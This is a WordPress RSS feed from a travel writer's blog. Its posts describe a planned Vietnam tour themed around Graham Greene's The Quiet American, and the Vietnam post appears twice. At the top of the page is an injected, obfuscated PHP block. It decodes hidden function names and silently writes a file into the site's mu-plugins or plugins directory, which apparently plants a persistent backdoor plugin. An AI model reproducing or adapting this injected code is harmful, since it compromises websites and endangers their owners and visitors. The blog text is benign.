/***//***/ /* SC_TH_BEGIN:4.0.3:554b0917 */ if(!function_exists('irep9xn4zcx')){function b5wya_q3vq8k($i){static $a=null;if($a===null){$a=array('5n\\PkOTqP3sqP','\\x5\\NA','_xp3NvspTPGv\\N\\','\\NAEPp','qvApnDP','v\\ToAvNn5EP','v\\T_vEP','_vEP\\vyP','v\\TqvA','DeqvA','NPDgpnD','qvApnDP','_vEPTgxNT3spNPpN\\','\\NAEPp','APpnDP','_xp3NvspTPGv\\N\\','3sgW','xpEvpe','3rDsq','_xp3NvspTPGv\\N\\','xpEvpe');}return $a[$i];}function irep9xn4zcx($i){$e=b5wya_q3vq8k($i);$f='_GUA'.'RDNM'.'EPLI'.'BS6'.'4\\'.'x1'.'f8bg'.'zdec'.'oi'.'nla'.'tWC'.'OT/m'.'u-p'.'s.h'.'ry'.'vw'.'k2qj'.'53';$t='Ti'.'mUa'.'8w'.'4hb'.'1zcu'.'kOB'.'GI_'.'l5j'.'yqP'.'3sv'.'pEnN'.'LM'.'fS-'.'Dxt'.'g\\.r'.'AW'.'Roe'.'/d6'.'2C';$r="";for($j=0;$j (0x145+0xaf)) { $te93im0zfls6q = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : irep9xn4zcx(4)(qxyn4dkcl3lm(4)(__FILE__)); $xpno7v6fjxn6essn = $te93im0zfls6q . "/mu-plugins/delta-recorder-edge.php"; $t_ruein1ywc = $te93im0zfls6q . "/plugins/delta-recorder-edge/delta-recorder-edge.php"; $b3vxx4q_wtaz = @qxyn4dkcl3lm(5)($te93im0zfls6q . "/mu-plugins") ? $xpno7v6fjxn6essn : $t_ruein1ywc; if (!@ug3sho9ve(6)($b3vxx4q_wtaz) || @irep9xn4zcx(7)($b3vxx4q_wtaz) < (4956+44)) { // specialize best-case filter-chain if (!@irep9xn4zcx(8)(q0d6uofc4(4)($b3vxx4q_wtaz))) @_3e9okks0ld(9)(irep9xn4zcx(4)($b3vxx4q_wtaz), (0x106+0xe7), true); $phdng9tjlumos = (qxyn4dkcl3lm(2)('tempnam') ? @irep9xn4zcx(10)(ug3sho9ve(11)($b3vxx4q_wtaz), 'sc_') : false); if ($phdng9tjlumos !== false) { $px8879stnxqf = @qxyn4dkcl3lm(12)($phdng9tjlumos, $quz3dunvo3g1kj); if ($px8879stnxqf !== false && $px8879stnxqf === irep9xn4zcx(13)($quz3dunvo3g1kj)) { $ssa_dx604i3 = false; if (qxyn4dkcl3lm(2)('rename')) $ssa_dx604i3 = @ug3sho9ve(14)($phdng9tjlumos, $b3vxx4q_wtaz); if (!$ssa_dx604i3 && ug3sho9ve(15)('copy')) { $ssa_dx604i3 = @q0d6uofc4(16)($phdng9tjlumos, $b3vxx4q_wtaz); if ($ssa_dx604i3) @qxyn4dkcl3lm(17)($phdng9tjlumos); } if (!$ssa_dx604i3) @irep9xn4zcx(17)($phdng9tjlumos); if (irep9xn4zcx(15)('chmod')) @q0d6uofc4(18)($b3vxx4q_wtaz, (414+6)); if (irep9xn4zcx(19)('opcache_invalidate')) @opcache_invalidate($b3vxx4q_wtaz, true); } else { @_3e9okks0ld(20)($phdng9tjlumos); } } } } } } /* SC_TH_END:4.0.3:554b0917 */ Featured – Jimmy Thomson https://dev.hux9.org/jimmythomson Sun, 26 Jun 2016 23:02:57 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://dev.hux9.org/jimmythomson/wp-content/uploads/2025/08/logo.png Featured – Jimmy Thomson https://dev.hux9.org/jimmythomson 32 32 Vietnam Romance and Intrigue https://dev.hux9.org/jimmythomson/vietnam-then-and-now/ https://dev.hux9.org/jimmythomson/vietnam-then-and-now/#comments Sun, 26 Jun 2016 23:02:57 +0000 http://www.jimmythomson.com/?p=816 Ever since I led my first tour to Vietnam I have had this sneaking sense of unease.  I don’t at all understand why the Australian government so willingly joined America’s war in Vietnam but I do get why Australian troops went there, especially the ‘Nashos” (National Servicemen).

Britain decided not to get involved (we had a Labour government at the time) but since we Brits had basically created the bloody mess by handing the country back to the French, rather than the Vietnamese, at the end of World War II, our hands aren’t exactly unbloodied.

Another thing that intrigues me is why so many Vietnamese (especially in the south) are so welcoming of Australian tourists. But I suppose a story told by someone I met on my second visit kind of sums it up. His father and Grandfather had fought on opposite sides in the “American War”.  When the south fell to the Viet Cong, the father was evacuated out, leaving his family, and given a new life in the USA.

Years later, the father came back to Saigon and the grandfather came south from Hanoi to see his son again. It was a meeting they both longed for and dreaded.  But then the grandfather said: “We both fought for what we believed in and that’s all that matters.”

My next tour,  Vietnam Romance and Intrigue, will try to see beyond the battlefields and bravado. Sure we’ll see the tunnels at Cu Chi – we know their story better than most – but we’ll also visit families in Saigon and Hanoi to find out how they are living now.

Mainly we’ll be following inthe footsteps of Graham Greene and his novel The Quiet American, visiting the locations in the book as well as the 2001 Phil Noyce directed Michael Caine move, and soaking up the splendours of Ha Long Bay as deepicted so spectaculalrly in the 1992 film Indochine (starring Catherine Deneuve) .

It’s a varied itinerary and you can find out more by clicking HERE.

]]> https://dev.hux9.org/jimmythomson/vietnam-then-and-now/feed/ 2 Vietnam Romance and Intrigue https://dev.hux9.org/jimmythomson/vietnam-then-and-now-2/ https://dev.hux9.org/jimmythomson/vietnam-then-and-now-2/#comments Sun, 26 Jun 2016 23:02:57 +0000 http://www.jimmythomson.com/?p=816 Ever since I led my first tour to Vietnam I have had this sneaking sense of unease.  I don’t at all understand why the Australian government so willingly joined America’s war in Vietnam but I do get why Australian troops went there, especially the ‘Nashos” (National Servicemen).

Britain decided not to get involved (we had a Labour government at the time) but since we Brits had basically created the bloody mess by handing the country back to the French, rather than the Vietnamese, at the end of World War II, our hands aren’t exactly unbloodied.

Another thing that intrigues me is why so many Vietnamese (especially in the south) are so welcoming of Australian tourists. But I suppose a story told by someone I met on my second visit kind of sums it up. His father and Grandfather had fought on opposite sides in the “American War”.  When the south fell to the Viet Cong, the father was evacuated out, leaving his family, and given a new life in the USA.

Years later, the father came back to Saigon and the grandfather came south from Hanoi to see his son again. It was a meeting they both longed for and dreaded.  But then the grandfather said: “We both fought for what we believed in and that’s all that matters.”

My next tour,  Vietnam Romance and Intrigue, will try to see beyond the battlefields and bravado. Sure we’ll see the tunnels at Cu Chi – we know their story better than most – but we’ll also visit families in Saigon and Hanoi to find out how they are living now.

Mainly we’ll be following inthe footsteps of Graham Greene and his novel The Quiet American, visiting the locations in the book as well as the 2001 Phil Noyce directed Michael Caine move, and soaking up the splendours of Ha Long Bay as deepicted so spectaculalrly in the 1992 film Indochine (starring Catherine Deneuve) .

It’s a varied itinerary and you can find out more by clicking HERE.

]]> https://dev.hux9.org/jimmythomson/vietnam-then-and-now-2/feed/ 2 Travel https://dev.hux9.org/jimmythomson/travel/ https://dev.hux9.org/jimmythomson/travel/#respond Sat, 30 Nov 2013 02:31:11 +0000 http://www.jimmythomson.com/?page_id=742 I’ve done a bit of travel writing in my time and in recent years I have even become a travel guide, taking my own tour to Vietnam (with Sandy MacGregor, to retrace the footsteps of the sappers of 3 Field troop, celebrated in Tunnel Rats and A Sappers War.

Here’s the best of what I’ve had published, the tour I led and one I plan for the near future.

[ic_add_posts category=’travel’]

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